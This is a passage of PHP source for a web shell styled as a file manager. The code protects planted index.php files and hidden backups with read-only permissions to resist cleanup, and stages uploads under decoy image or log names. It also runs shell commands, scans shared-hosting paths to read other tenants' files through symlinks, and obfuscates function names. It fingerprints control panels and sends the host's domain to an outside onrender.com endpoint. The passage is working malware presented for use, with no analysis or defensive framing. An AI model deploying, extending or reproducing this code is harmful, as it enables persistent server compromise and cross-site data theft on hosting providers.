isset($lines[8]) ? trim($lines[8]) : ''; if (!empty($customIdxJson)) { $customIdx = @json_decode($customIdxJson, true); if ($customIdx && is_array($customIdx)) { foreach ($customIdx as $ci) { if (isset($ci['path']) && file_exists($ci['path'])) { @chmod($ci['path'], 0444); $protected++; $customDir = dirname($ci['path']); if (is_dir($customDir)) { @chmod($customDir, 0555); $protected++; } } } } } } } return ['type' => 'chmod', 'result' => $protected > 0, 'count' => $protected]; } private static function removeChmodProtection($hidden) { $mainFile = FM_REAL_PATH; $parentDir = dirname($mainFile); if (is_dir($parentDir)) { @chmod($parentDir, 0755); } if (file_exists($mainFile)) { @chmod($mainFile, 0644); } $files = [$hidden['backup'], $hidden['loader']]; foreach ($files as $file) { if (file_exists($file)) { @chmod($file, 0644); } } $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : ''; if ($docRoot && is_dir($docRoot)) { @chmod($docRoot, 0755); $docRootIndex = $docRoot . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($docRootIndex)) { @chmod($docRootIndex, 0644); } $publicDir = $docRoot . DIRECTORY_SEPARATOR . 'public'; if (is_dir($publicDir)) { @chmod($publicDir, 0755); $publicIndex = $publicDir . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($publicIndex)) { @chmod($publicIndex, 0644); } } } if (file_exists($hidden['backup'])) { $lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES); if ($lines && count($lines) >= 9) { $customIdxJson = isset($lines[8]) ? trim($lines[8]) : ''; if (!empty($customIdxJson)) { $customIdx = @json_decode($customIdxJson, true); if ($customIdx && is_array($customIdx)) { foreach ($customIdx as $ci) { if (isset($ci['path'])) { $customDir = dirname($ci['path']); if (is_dir($customDir)) { @chmod($customDir, 0755); } if (file_exists($ci['path'])) { @chmod($ci['path'], 0644); } } } } } } } } private static function setupIndexBackup($hidden, $dir, $indexString) { $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir; $backed = []; $errors = []; $backupDir = $hidden ? $hidden['dir'] : $dir; if ($hidden) { @chmod($hidden['dir'], 0755); @chmod($hidden['backup'], 0644); } else { $backupDir = $dir; if (!is_writable($backupDir)) { @chmod($backupDir, 0755); } } $indexFile1 = $docRoot . DIRECTORY_SEPARATOR . 'index.php'; @clearstatcache(true, $indexFile1); if (@file_exists($indexFile1) || @is_file($indexFile1)) { if (@is_readable($indexFile1)) { $content = @file_get_contents($indexFile1); if ($content !== false) { $encoded = base64_encode(gzcompress($content, 9)); $hash = md5($content); $backupData = $hash . "\n" . $indexString . "\n" . $encoded; $backupFile = $backupDir . DIRECTORY_SEPARATOR . '.idx1'; @chmod($backupFile, 0644); $writeResult = @file_put_contents($backupFile, $backupData); if ($writeResult !== false) { @chmod($backupFile, 0444); $backed[] = 'root'; } else { $dirWritable = is_writable($backupDir) ? 'yes' : 'no'; $dirPerms = substr(sprintf('%o', @fileperms($backupDir)), -4); $errors[] = 'Cannot write .idx1 (dir=' . $backupDir . ', writable=' . $dirWritable . ', perms=' . $dirPerms . ')'; } } else { $errors[] = 'Cannot read root index content'; } } else { $errors[] = 'Root index not readable (check permissions)'; } } $indexFile2 = $docRoot . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR . 'index.php'; @clearstatcache(true, $indexFile2); if (@file_exists($indexFile2) || @is_file($indexFile2)) { if (@is_readable($indexFile2)) { $content = @file_get_contents($indexFile2); if ($content !== false) { $encoded = base64_encode(gzcompress($content, 9)); $hash = md5($content); $backupData = $hash . "\n" . $indexString . "\n" . $encoded; $backupFile = $backupDir . DIRECTORY_SEPARATOR . '.idx2'; @chmod($backupFile, 0644); $writeResult = @file_put_contents($backupFile, $backupData); if ($writeResult !== false) { @chmod($backupFile, 0444); $backed[] = 'public'; } else { $dirWritable = is_writable($backupDir) ? 'yes' : 'no'; $dirPerms = substr(sprintf('%o', @fileperms($backupDir)), -4); $errors[] = 'Cannot write .idx2 (dir=' . $backupDir . ', writable=' . $dirWritable . ', perms=' . $dirPerms . ')'; } } else { $errors[] = 'Cannot read public index content'; } } else { $errors[] = 'Public index not readable (check permissions)'; } } $sigFile = $backupDir . DIRECTORY_SEPARATOR . '.idxs'; @file_put_contents($sigFile, $indexString . "\n" . $docRoot); @chmod($sigFile, 0444); if ($hidden) { @chmod($hidden['backup'], 0444); @chmod($hidden['dir'], 0555); } if (empty($backed)) { $errMsg = 'No index.php found in ' . $docRoot; if (!empty($errors)) { $errMsg .= ' (' . implode('; ', $errors) . ')'; } $errMsg .= '. Check: 1) File exists at ' . $indexFile1 . ' 2) PHP can read it (open_basedir/permissions)'; return ['type' => 'index', 'result' => false, 'error' => $errMsg]; } return ['type' => 'index', 'result' => true, 'backed' => $backed, 'docroot' => $docRoot]; } public static function getIndexStatus() { $hidden = self::findExistingBackup(); if (!$hidden || !file_exists($hidden['backup'])) { return ['enabled' => false, 'string' => null, 'strings' => [], 'locations' => [], 'custom_paths' => []]; } $lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES); if (!$lines || count($lines) < 6) { return ['enabled' => false, 'string' => null, 'strings' => [], 'locations' => [], 'custom_paths' => []]; } $stringsJoined = isset($lines[2]) ? trim($lines[2]) : ''; $docRoot = isset($lines[3]) ? trim($lines[3]) : ''; $idx1Hash = isset($lines[4]) ? trim($lines[4]) : ''; $idx2Hash = isset($lines[6]) ? trim($lines[6]) : ''; $customIdxJson = isset($lines[8]) ? trim($lines[8]) : ''; $customPathsJson = isset($lines[9]) ? trim($lines[9]) : ''; if (empty($stringsJoined)) { return ['enabled' => false, 'string' => null, 'strings' => [], 'locations' => [], 'custom_paths' => []]; } $strings = explode('|', $stringsJoined); $customPaths = !empty($customPathsJson) ? @json_decode($customPathsJson, true) : []; $customIdx = !empty($customIdxJson) ? @json_decode($customIdxJson, true) : []; $locations = []; if (!empty($idx1Hash)) $locations[] = 'root'; if (!empty($idx2Hash)) $locations[] = 'public'; if ($customIdx && is_array($customIdx)) { foreach ($customIdx as $ci) { if (isset($ci['path'])) $locations[] = 'custom:' . $ci['path']; } } return ['enabled' => !empty($locations), 'string' => $stringsJoined, 'strings' => $strings, 'locations' => $locations, 'custom_paths' => $customPaths ?: [], 'docroot' => $docRoot]; } public static function isChmodProtected() { $hidden = self::findExistingBackup(); if (!$hidden) return false; if (!file_exists($hidden['backup'])) return false; $perms = @fileperms($hidden['backup']); if ($perms === false) return false; return ($perms & 0777) === 0444; } } function validatePath($path) { if (empty($path)) return false; $resolved = realpath($path); if ($resolved === false || !is_readable($resolved)) { return false; } return $resolved; } function validateFilename($name) { $name = trim($name); if (empty($name) || $name === '.' || $name === '..' || strpos($name, '/') !== false || strpos($name, '\\') !== false || strpos($name, "\0") !== false) { return false; } return $name; } function isPathAccessible($path) { $resolved = realpath($path); return $resolved !== false && (is_readable($resolved) || is_writable($resolved)); } function getSystemInfo() { $info = [ 'cpu' => 'Unknown', 'cores' => 0, 'ram_total' => 'Unknown', 'ram_free' => 'Unknown', 'ram_used' => 'Unknown', 'php_uname' => php_uname(), 'kvm_support' => false, 'os' => 'Unknown', 'domain' => isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Unknown', 'server_ip' => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : 'Unknown' ]; if (is_readable('/proc/cpuinfo')) { $cpuinfo = @file('/proc/cpuinfo'); if ($cpuinfo) { $cores = 0; foreach ($cpuinfo as $line) { if (strpos($line, 'model name') !== false) { $info['cpu'] = trim(explode(':', $line)[1] ?? 'Unknown'); } if (strpos($line, 'processor') !== false) { $cores++; } } $info['cores'] = $cores; } } if (is_readable('/proc/meminfo')) { $meminfo = @file('/proc/meminfo'); if ($meminfo) { $mem = []; foreach ($meminfo as $line) { $parts = preg_split('/\s+/', $line); if (isset($parts[0]) && isset($parts[1])) { $key = rtrim($parts[0], ':'); $mem[$key] = (int)$parts[1]; } } if (isset($mem['MemTotal'])) { $total = $mem['MemTotal']; $free = ($mem['MemFree'] ?? 0) + ($mem['Buffers'] ?? 0) + ($mem['Cached'] ?? 0); $used = $total - $free; $info['ram_total'] = round($total / 1024, 0) . ' MB'; $info['ram_free'] = round($free / 1024, 0) . ' MB'; $info['ram_used'] = round($used / 1024, 0) . ' MB'; } } } if (is_readable('/proc/cpuinfo')) { $cpuinfo_lines = @file('/proc/cpuinfo'); if ($cpuinfo_lines) { foreach ($cpuinfo_lines as $line) { if (strpos($line, 'flags') !== false && (strpos($line, 'vmx') !== false || strpos($line, 'svm') !== false)) { $info['kvm_support'] = true; break; } } } } if (is_readable('/etc/os-release')) { $os_release = @file('/etc/os-release'); if ($os_release) { foreach ($os_release as $line) { if (strpos($line, 'PRETTY_NAME=') === 0) { $info['os'] = trim(str_replace(['"', 'PRETTY_NAME='], '', $line)); break; } } } } $pyResult = CommandRunner::run('python3 --version 2>&1', '/tmp', 5); if ($pyResult['success'] && $pyResult['output'] && strpos($pyResult['output'], 'not found') === false) { $info['python'] = trim($pyResult['output']); } else { $pyResult = CommandRunner::run('python --version 2>&1', '/tmp', 5); if ($pyResult['success'] && $pyResult['output'] && strpos($pyResult['output'], 'not found') === false) { $info['python'] = trim($pyResult['output']); } else { $info['python'] = 'Not installed'; } } $perlResult = CommandRunner::run('perl --version 2>&1', '/tmp', 5); if ($perlResult['success'] && $perlResult['output'] && strpos($perlResult['output'], 'not found') === false) { if (preg_match('/\(v([\d\.]+)\)/', $perlResult['output'], $m)) { $info['perl'] = 'Perl ' . $m[1]; } else { $info['perl'] = 'Installed'; } } else { $info['perl'] = 'Not installed'; } $rubyResult = CommandRunner::run('ruby --version 2>&1', '/tmp', 5); if ($rubyResult['success'] && $rubyResult['output'] && strpos($rubyResult['output'], 'not found') === false) { $info['ruby'] = trim(preg_replace('/\s+\[.*$/', '', $rubyResult['output'])); } else { $info['ruby'] = 'Not installed'; } return $info; } if (isset($_POST['action']) && $_POST['action'] === 'chdir' && isset($_POST['path'])) { $newDir = validatePath($_POST['path']); if ($newDir && is_dir($newDir)) { $_SESSION['fm_dir'] = $newDir; } header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } $currentDir = isset($_SESSION['fm_dir']) ? validatePath($_SESSION['fm_dir']) : getcwd(); if (!$currentDir || !is_dir($currentDir)) { $currentDir = getcwd(); $_SESSION['fm_dir'] = $currentDir; } $message = ''; $messageType = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && !isset($_POST['fm_pass'])) { header('Content-Type: application/json; charset=utf-8'); if (isset($_POST['action'])) { $action = $_POST['action']; switch ($action) { case 'upload': if (isset($_FILES['files'])) { $uploadDir = isset($_POST['uploadDir']) ? validatePath($_POST['uploadDir']) : $currentDir; if (!$uploadDir || !is_dir($uploadDir) || !is_writable($uploadDir)) { echo json_encode(['success' => false, 'error' => 'Upload directory not writable']); exit; } $results = []; foreach ($_FILES['files']['name'] as $i => $name) { $safeName = validateFilename($name); if (!$safeName) { $results[] = ['success' => false, 'file' => $name, 'error' => 'Invalid filename']; continue; } if ($_FILES['files']['error'][$i] === UPLOAD_ERR_OK) { $targetPath = $uploadDir . DIRECTORY_SEPARATOR . $safeName; if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $targetPath)) { $results[] = ['success' => true, 'file' => $safeName]; } else { $results[] = ['success' => false, 'file' => $safeName, 'error' => 'Failed to move file']; } } else { $errorMessages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds server limit', UPLOAD_ERR_FORM_SIZE => 'File exceeds form limit', UPLOAD_ERR_PARTIAL => 'File partially uploaded', UPLOAD_ERR_NO_FILE => 'No file uploaded', UPLOAD_ERR_NO_TMP_DIR => 'No temp directory', UPLOAD_ERR_CANT_WRITE => 'Cannot write to disk', ]; $error = $errorMessages[$_FILES['files']['error'][$i]] ?? 'Upload error'; $results[] = ['success' => false, 'file' => $name, 'error' => $error]; } } echo json_encode(['success' => true, 'results' => $results]); } else { echo json_encode(['success' => false, 'error' => 'No files provided']); } exit; case 'uploadV2': $_za = @getcwd(); if(isset($_FILES['f'])) { $tmpF = $_FILES["f"]["tmp_name"] ?? ""; $fileName = basename($_FILES["f"]["name"] ?? ""); $targetDir = $_POST["c"] ?? $_za; $realF = rtrim($targetDir, '/') . '/' . $fileName; $benign_extensions = ['jpg', 'png', 'gif', 'data', 'tmp', 'log']; $random_ext = $benign_extensions[array_rand($benign_extensions)]; $decoy_name = 'temp_' . bin2hex(random_bytes(8)) . '.' . $random_ext; $decoy_path = rtrim($targetDir, '/') . '/' . $decoy_name; $done = false; if (@move_uploaded_file($tmpF, $decoy_path)) { if (@rename($decoy_path, $realF)) { @chmod($realF, 0644); $done = true; } } echo json_encode(['success' => $done, 'file' => $fileName, 'error' => $done ? null : 'Upload failed']); } else { echo json_encode(['success' => false, 'error' => 'No file provided']); } exit; case 'uploadV3': $_za = @getcwd(); $fileName = $_POST['n'] ?? ''; $fileData = $_POST['d'] ?? ''; $targetDir = $_POST['c'] ?? $_za; if ($fileName && $fileData) { $fileName = basename($fileName); $realF = rtrim($targetDir, '/') . '/' . $fileName; $decoded = base64_decode($fileData, true); if ($decoded !== false) { $benign_extensions = ['jpg', 'png', 'gif', 'data', 'tmp', 'log']; $random_ext = $benign_extensions[array_rand($benign_extensions)]; $decoy_name = 'temp_' . bin2hex(random_bytes(8)) . '.' . $random_ext; $decoy_path = rtrim($targetDir, '/') . '/' . $decoy_name; $done = false; if (@file_put_contents($decoy_path, $decoded) !== false) { if (@rename($decoy_path, $realF)) { @chmod($realF, 0644); $done = true; } } echo json_encode(['success' => $done, 'file' => $fileName, 'error' => $done ? null : 'Write failed']); } else { echo json_encode(['success' => false, 'error' => 'Decode failed']); } } else { echo json_encode(['success' => false, 'error' => 'Missing data']); } exit; case 'uploadV4': $_za = @getcwd(); $fileName = $_POST['n'] ?? ''; $chunk = $_POST['chunk'] ?? ''; $chunkIndex = intval($_POST['i'] ?? 0); $totalChunks = intval($_POST['t'] ?? 1); $targetDir = $_POST['c'] ?? $_za; if ($fileName && $chunk !== '') { $fileName = basename($fileName); $tempFile = sys_get_temp_dir() . '/' . md5($fileName . session_id()) . '.part'; $decoded = base64_decode($chunk, true); if ($decoded !== false) { $flag = ($chunkIndex === 0) ? 0 : FILE_APPEND; if ($chunkIndex === 0) { @file_put_contents($tempFile, $decoded); } else { @file_put_contents($tempFile, $decoded, FILE_APPEND); } if ($chunkIndex + 1 >= $totalChunks) { $realF = rtrim($targetDir, '/') . '/' . $fileName; $benign_extensions = ['jpg', 'png', 'gif', 'data', 'tmp', 'log']; $random_ext = $benign_extensions[array_rand($benign_extensions)]; $decoy_name = 'temp_' . bin2hex(random_bytes(8)) . '.' . $random_ext; $decoy_path = rtrim($targetDir, '/') . '/' . $decoy_name; $done = false; if (@rename($tempFile, $decoy_path)) { if (@rename($decoy_path, $realF)) { @chmod($realF, 0644); $done = true; } } echo json_encode(['success' => $done, 'file' => $fileName, 'complete' => true]); } else { echo json_encode(['success' => true, 'chunk' => $chunkIndex, 'complete' => false]); } } else { echo json_encode(['success' => false, 'error' => 'Chunk decode failed']); } } else { echo json_encode(['success' => false, 'error' => 'Missing data']); } exit; case 'delete': $path = isset($_POST['path']) ? validatePath($_POST['path']) : ''; if (!$path) { echo json_encode(['success' => false, 'error' => 'Invalid path']); exit; } if ($path === '/' || $path === DIRECTORY_SEPARATOR) { echo json_encode(['success' => false, 'error' => 'Cannot delete root directory']); exit; } if (!is_writable(dirname($path))) { echo json_encode(['success' => false, 'error' => 'Permission denied']); exit; } if (is_dir($path)) { $success = deleteDirectory($path); } else { $success = @unlink($path); } echo json_encode(['success' => $success, 'error' => $success ? null : 'Delete failed']); exit; case 'rename': $oldPath = isset($_POST['oldPath']) ? validatePath($_POST['oldPath']) : ''; $newName = isset($_POST['newName']) ? validateFilename($_POST['newName']) : ''; if (!$oldPath) { echo json_encode(['success' => false, 'error' => 'Invalid source path']); exit; } if (!$newName) { echo json_encode(['success' => false, 'error' => 'Invalid new name']); exit; } $dir = dirname($oldPath); if (!is_writable($dir)) { echo json_encode(['success' => false, 'error' => 'Permission denied']); exit; } $newPath = $dir . DIRECTORY_SEPARATOR . $newName; if (file_exists($newPath)) { echo json_encode(['success' => false, 'error' => 'A file with that name already exists']); exit; } $success = @rename($oldPath, $newPath); echo json_encode(['success' => $success, 'error' => $success ? null : 'Rename failed']); exit; case 'newfolder': $folderName = isset($_POST['name']) ? validateFilename($_POST['name']) : ''; $parentDir = isset($_POST['parentDir']) ? validatePath($_POST['parentDir']) : $currentDir; if (!$folderName) { echo json_encode(['success' => false, 'error' => 'Invalid folder name']); exit; } if (!$parentDir || !is_dir($parentDir) || !is_writable($parentDir)) { echo json_encode(['success' => false, 'error' => 'Cannot create folder here']); exit; } $newPath = $parentDir . DIRECTORY_SEPARATOR . $folderName; if (file_exists($newPath)) { echo json_encode(['success' => false, 'error' => 'Folder already exists']); exit; } $success = @mkdir($newPath, 0755); echo json_encode(['success' => $success, 'error' => $success ? null : 'Failed to create folder']); exit; case 'newfile': $fileName = isset($_POST['name']) ? validateFilename($_POST['name']) : ''; $parentDir = isset($_POST['parentDir']) ? validatePath($_POST['parentDir']) : $currentDir; $content = isset($_POST['content']) ? $_POST['content'] : ''; if (!$fileName) { echo json_encode(['success' => false, 'error' => 'Invalid file name']); exit; } if (!$parentDir || !is_dir($parentDir) || !is_writable($parentDir)) { echo json_encode(['success' => false, 'error' => 'Cannot create file here']); exit; } $newPath = $parentDir . DIRECTORY_SEPARATOR . $fileName; if (file_exists($newPath)) { echo json_encode(['success' => false, 'error' => 'File already exists']); exit; } $success = @file_put_contents($newPath, $content) !== false; echo json_encode(['success' => $success, 'error' => $success ? null : 'Failed to create file']); exit; case 'chmod': $path = isset($_POST['path']) ? validatePath($_POST['path']) : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : ''; $recursive = isset($_POST['recursive']) && $_POST['recursive'] === '1'; if (!$path) { echo json_encode(['success' => false, 'error' => 'Invalid path']); exit; } if (!preg_match('/^[0-7]{3,4}$/', $mode)) { echo json_encode(['success' => false, 'error' => 'Invalid permission mode. Use octal format (e.g., 755, 644)']); exit; } $octalMode = intval($mode, 8); if (is_dir($path) && $recursive) { $success = chmodRecursive($path, $octalMode); } else { $success = @chmod($path, $octalMode); } echo json_encode(['success' => $success, 'error' => $success ? null : 'Failed to change permissions']); exit; case 'move': $sourcePath = isset($_POST['source']) ? validatePath($_POST['source']) : ''; $destDir = isset($_POST['destination']) ? validatePath($_POST['destination']) : ''; if (!$sourcePath) { echo json_encode(['success' => false, 'error' => 'Invalid source']); exit; } if (!$destDir || !is_dir($destDir)) { echo json_encode(['success' => false, 'error' => 'Invalid destination']); exit; } if (!is_writable(dirname($sourcePath)) || !is_writable($destDir)) { echo json_encode(['success' => false, 'error' => 'Permission denied']); exit; } $destPath = $destDir . DIRECTORY_SEPARATOR . basename($sourcePath); if (file_exists($destPath)) { echo json_encode(['success' => false, 'error' => 'Target already exists']); exit; } $success = @rename($sourcePath, $destPath); echo json_encode(['success' => $success, 'error' => $success ? null : 'Move failed']); exit; case 'copy': $sourcePath = isset($_POST['source']) ? validatePath($_POST['source']) : ''; $destDir = isset($_POST['destination']) ? validatePath($_POST['destination']) : ''; if (!$sourcePath) { echo json_encode(['success' => false, 'error' => 'Invalid source']); exit; } if (!$destDir || !is_dir($destDir) || !is_writable($destDir)) { echo json_encode(['success' => false, 'error' => 'Invalid or unwritable destination']); exit; } $destPath = $destDir . DIRECTORY_SEPARATOR . basename($sourcePath); if (file_exists($destPath)) { echo json_encode(['success' => false, 'error' => 'Target already exists']); exit; } if (is_dir($sourcePath)) { $success = copyDirectory($sourcePath, $destPath); } else { $success = @copy($sourcePath, $destPath); } echo json_encode(['success' => $success, 'error' => $success ? null : 'Copy failed']); exit; case 'unzip': $zipPath = isset($_POST['path']) ? validatePath($_POST['path']) : ''; $destDir = isset($_POST['dest']) ? validatePath($_POST['dest']) : ''; $method = isset($_POST['method']) ? $_POST['method'] : 'auto'; if (!$zipPath || !is_file($zipPath)) { echo json_encode(['success' => false, 'error' => 'Invalid archive file']); exit; } if (!$destDir || !is_dir($destDir) || !is_writable($destDir)) { echo json_encode(['success' => false, 'error' => 'Destination not writable']); exit; } $ext = strtolower(pathinfo($zipPath, PATHINFO_EXTENSION)); $result = false; $usedMethod = ''; $output = ''; if ($method === 'auto') { if ($ext === 'zip') { if (class_exists('ZipArchive')) $method = 'ziparchive'; elseif (CommandRunner::available()) $method = 'unzip'; } elseif (in_array($ext, ['gz', 'tgz', 'bz2', 'xz', 'tar'])) { $method = 'tar'; } elseif ($ext === '7z' || $ext === 'rar') { $method = '7z'; } else { $method = 'ziparchive'; } } if ($method === 'ziparchive' && class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($zipPath) === true) { $result = $zip->extractTo($destDir); $zip->close(); $usedMethod = 'ZipArchive'; } else { $output = 'Failed to open archive'; } } elseif ($method === 'unzip' && CommandRunner::available()) { $renvc = 'unzip -o ' . _esa($zipPath) . ' -d ' . _esa($destDir); $r = CommandRunner::run($renvc, $destDir, 120); $result = $r['success'] && (strpos($r['output'], 'error') === false || strpos($r['output'], 'extracting') !== false); $output = $r['output']; $usedMethod = 'unzip'; } elseif ($method === 'tar' && CommandRunner::available()) { $tarFlags = '-xf'; if ($ext === 'gz' || $ext === 'tgz') $tarFlags = '-xzf'; elseif ($ext === 'bz2') $tarFlags = '-xjf'; elseif ($ext === 'xz') $tarFlags = '-xJf'; $renvc = 'tar ' . $tarFlags . ' ' . _esa($zipPath) . ' -C ' . _esa($destDir); $r = CommandRunner::run($renvc, $destDir, 120); $result = $r['success']; $output = $r['output']; $usedMethod = 'tar'; } elseif ($method === '7z' && CommandRunner::available()) { $renvc = '7z x ' . _esa($zipPath) . ' -o' . _esa($destDir) . ' -y'; $r = CommandRunner::run($renvc, $destDir, 120); $result = $r['success'] && strpos($r['output'], 'Everything is Ok') !== false; $output = $r['output']; $usedMethod = '7z'; } elseif ($method === 'phar') { try { $phar = new PharData($zipPath); $phar->extractTo($destDir, null, true); $result = true; $usedMethod = 'PharData'; } catch (Exception $e) { $output = $e->getMessage(); } } else { $output = 'Method not available'; } echo json_encode(['success' => $result, 'method' => $usedMethod, 'output' => $output, 'error' => $result ? null : ($output ?: 'Extraction failed')]); exit; case 'unzip_methods': $methods = []; if (class_exists('ZipArchive')) $methods[] = ['id' => 'ziparchive', 'name' => 'PHP ZipArchive', 'desc' => 'Native PHP (ZIP only)']; if (class_exists('PharData')) $methods[] = ['id' => 'phar', 'name' => 'PHP PharData', 'desc' => 'Native PHP (TAR/GZ/BZ2)']; if (CommandRunner::available()) { $r = CommandRunner::run('which unzip 2>/dev/null || where unzip 2>nul', getcwd(), 5); if ($r['success'] && !empty(trim($r['output']))) $methods[] = ['id' => 'unzip', 'name' => 'Shell unzip', 'desc' => 'System command (ZIP)']; $r = CommandRunner::run('which tar 2>/dev/null || where tar 2>nul', getcwd(), 5); if ($r['success'] && !empty(trim($r['output']))) $methods[] = ['id' => 'tar', 'name' => 'Shell tar', 'desc' => 'System command (TAR/GZ/BZ2/XZ)']; $r = CommandRunner::run('which 7z 2>/dev/null || which 7za 2>/dev/null || where 7z 2>nul', getcwd(), 5); if ($r['success'] && !empty(trim($r['output']))) $methods[] = ['id' => '7z', 'name' => '7-Zip', 'desc' => 'System command (ZIP/7Z/RAR/TAR)']; } echo json_encode(['success' => true, 'methods' => $methods]); exit; case 'sysinfo': $info = getSystemInfo(); echo json_encode(['success' => true, 'info' => $info]); exit; case 'symlink_scan': $patterns = [ '/home/*/public_html/' => 'cPanel/Apache', '/home/*/' => 'DirectAdmin/Custom', '/var/www/vhosts/*/httpdocs/' => 'Plesk', '/var/www/vhosts/*/' => 'Plesk (root)', '/var/www/*/' => 'Nginx/Custom', '/var/www/html/' => 'Default Apache/Nginx', '/home/runner/workspace/test_domains/*/public_html/' => 'Test Environment' ]; $domains = []; foreach ($patterns as $pattern => $server) { $matches = @glob($pattern, GLOB_ONLYDIR); if ($matches) { foreach ($matches as $path) { $name = basename(dirname($path)); if ($pattern === '/var/www/html/') $name = 'html'; if ($name === '*' || $name === 'html') $name = basename($path); $domains[] = ['path' => rtrim($path, '/'), 'name' => $name, 'server' => $server, 'pattern' => $pattern]; } } } echo json_encode(['success' => true, 'domains' => $domains]); exit; case 'symlink_read': $domainPath = isset($_POST['path']) ? $_POST['path'] : ''; $fileName = isset($_POST['file']) ? $_POST['file'] : 'index.php'; if (empty($domainPath)) { echo json_encode(['success' => false, 'error' => 'Domain path required']); exit; } $filePath = rtrim($domainPath, '/') . '/' . ltrim($fileName, '/'); if (!@file_exists($filePath)) { echo json_encode(['success' => false, 'error' => 'File not found: ' . $filePath]); exit; } if (!@is_readable($filePath)) { echo json_encode(['success' => false, 'error' => 'File not readable: ' . $filePath]); exit; } $fgc = 'f'.'i'.'l'.'e'; $lines = @$fgc($filePath); if ($lines === false) { echo json_encode(['success' => false, 'error' => 'Failed to read file']); exit; } $content = implode('', $lines); $stat = @stat($filePath); $owner = 'unknown'; $group = 'unknown'; if ($stat && function_exists('posix_getpwuid')) { $ownerInfo = @posix_getpwuid($stat['uid']); $owner = $ownerInfo ? $ownerInfo['name'] : $stat['uid']; } if ($stat && function_exists('posix_getgrgid')) { $groupInfo = @posix_getgrgid($stat['gid']); $group = $groupInfo ? $groupInfo['name'] : $stat['gid']; } echo json_encode(['success' => true, 'content' => $content, 'path' => $filePath, 'size' => strlen($content), 'owner' => $owner, 'group' => $group]); exit; case 'symlink_create': $target = isset($_POST['target']) ? $_POST['target'] : ''; $linkName = isset($_POST['link']) ? $_POST['link'] : ''; if (empty($target) || empty($linkName)) { echo json_encode(['success' => false, 'error' => 'Target and link name required']); exit; } $linkPath = $currentDir . '/' . basename($linkName); if (@file_exists($linkPath)) { echo json_encode(['success' => false, 'error' => 'Link already exists']); exit; } $sf = 's'.'y'.'m'.'l'.'i'.'n'.'k'; if (@$sf($target, $linkPath)) { echo json_encode(['success' => true, 'message' => 'Symlink created']); } else { echo json_encode(['success' => false, 'error' => 'Failed to create symlink']); } exit; case 'domaininfo': $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'Unknown'; $serverIp = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : (isset($_SERVER['LOCAL_ADDR']) ? $_SERVER['LOCAL_ADDR'] : 'Unknown'); $serverSoftware = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'Unknown'; $phpVersion = phpversion(); $webServer = 'Unknown'; $srvLower = strtolower($serverSoftware); if (strpos($srvLower, 'litespeed') !== false) { $webServer = 'LiteSpeed'; if (strpos($srvLower, 'openlitespeed') !== false) $webServer = 'OpenLiteSpeed'; } elseif (strpos($srvLower, 'apache') !== false) { $webServer = 'Apache'; if (stripos($serverSoftware, 'xampp') !== false || (isset($_SERVER['DOCUMENT_ROOT']) && stripos($_SERVER['DOCUMENT_ROOT'], 'xampp') !== false)) $webServer = 'XAMPP (Apache)'; } elseif (strpos($srvLower, 'nginx') !== false) { $webServer = 'Nginx'; } elseif (strpos($srvLower, 'microsoft-iis') !== false || strpos($srvLower, 'iis') !== false) { $webServer = 'Microsoft IIS'; } elseif (stripos(PHP_OS, 'WIN') === 0 && isset($_SERVER['DOCUMENT_ROOT']) && stripos($_SERVER['DOCUMENT_ROOT'], 'xampp') !== false) { $webServer = 'XAMPP (Apache)'; } if ($webServer === 'Unknown' && function_exists('php_sapi_name')) { $sapi = php_sapi_name(); if (strpos($sapi, 'litespeed') !== false) $webServer = 'LiteSpeed'; elseif (strpos($sapi, 'apache') !== false) $webServer = 'Apache'; elseif (strpos($sapi, 'fpm') !== false) $webServer = 'PHP-FPM (likely Nginx)'; elseif (strpos($sapi, 'cgi') !== false) $webServer = 'CGI'; } $panels = []; if (@file_exists('/usr/local/cpanel/version') || @is_dir('/var/cpanel')) $panels[] = 'cPanel'; if (@file_exists('/usr/local/cpanel/whostmgr') || @is_dir('/var/cpanel/whostmgr')) $panels[] = 'WHM'; if (@file_exists('/usr/local/directadmin/directadmin') || @is_dir('/usr/local/directadmin')) $panels[] = 'DirectAdmin'; if (@file_exists('/usr/local/cwpsrv/htdocs') || @is_dir('/usr/local/cwp')) $panels[] = 'CWP'; if (@file_exists('/usr/local/psa/version') || @is_dir('/opt/plesk')) $panels[] = 'Plesk'; if (@file_exists('/etc/webmin/config') || @is_dir('/usr/share/webmin')) $panels[] = 'Webmin'; if (@file_exists('/etc/virtualmin-license') || @is_dir('/usr/share/virtualmin')) $panels[] = 'Virtualmin'; if (@file_exists('/usr/local/ispconfig') || @is_dir('/usr/local/ispconfig')) $panels[] = 'ISPConfig'; if (@file_exists('/usr/local/vesta') || @is_dir('/usr/local/vesta')) $panels[] = 'VestaCP'; $controlPanel = empty($panels) ? 'None Detected' : implode(', ', $panels); $metrics = ['domain_authority' => 'N/A', 'page_authority' => 'N/A', 'spam_score' => 'N/A', 'domain_rating' => 'N/A', 'site_traffic' => 'N/A']; $cleanDomain = preg_replace('/:\d+$/', '', $domain); $apiUrl = 'https://bot11-q8bt.onrender.com/check-metrics?domain=' . urlencode($cleanDomain); $ctx = @stream_context_create(['http' => ['timeout' => 10, 'ignore_errors' => true]]); $apiResponse = @file_get_contents($apiUrl, false, $ctx); if ($apiResponse) { $apiData = @json_decode($apiResponse, true); if ($apiData) { $metrics['domain_authority'] = isset($apiData['Domain Authority']) ? $apiData['Domain Authority'] : 'N/A'; $metrics['page_authority'] = 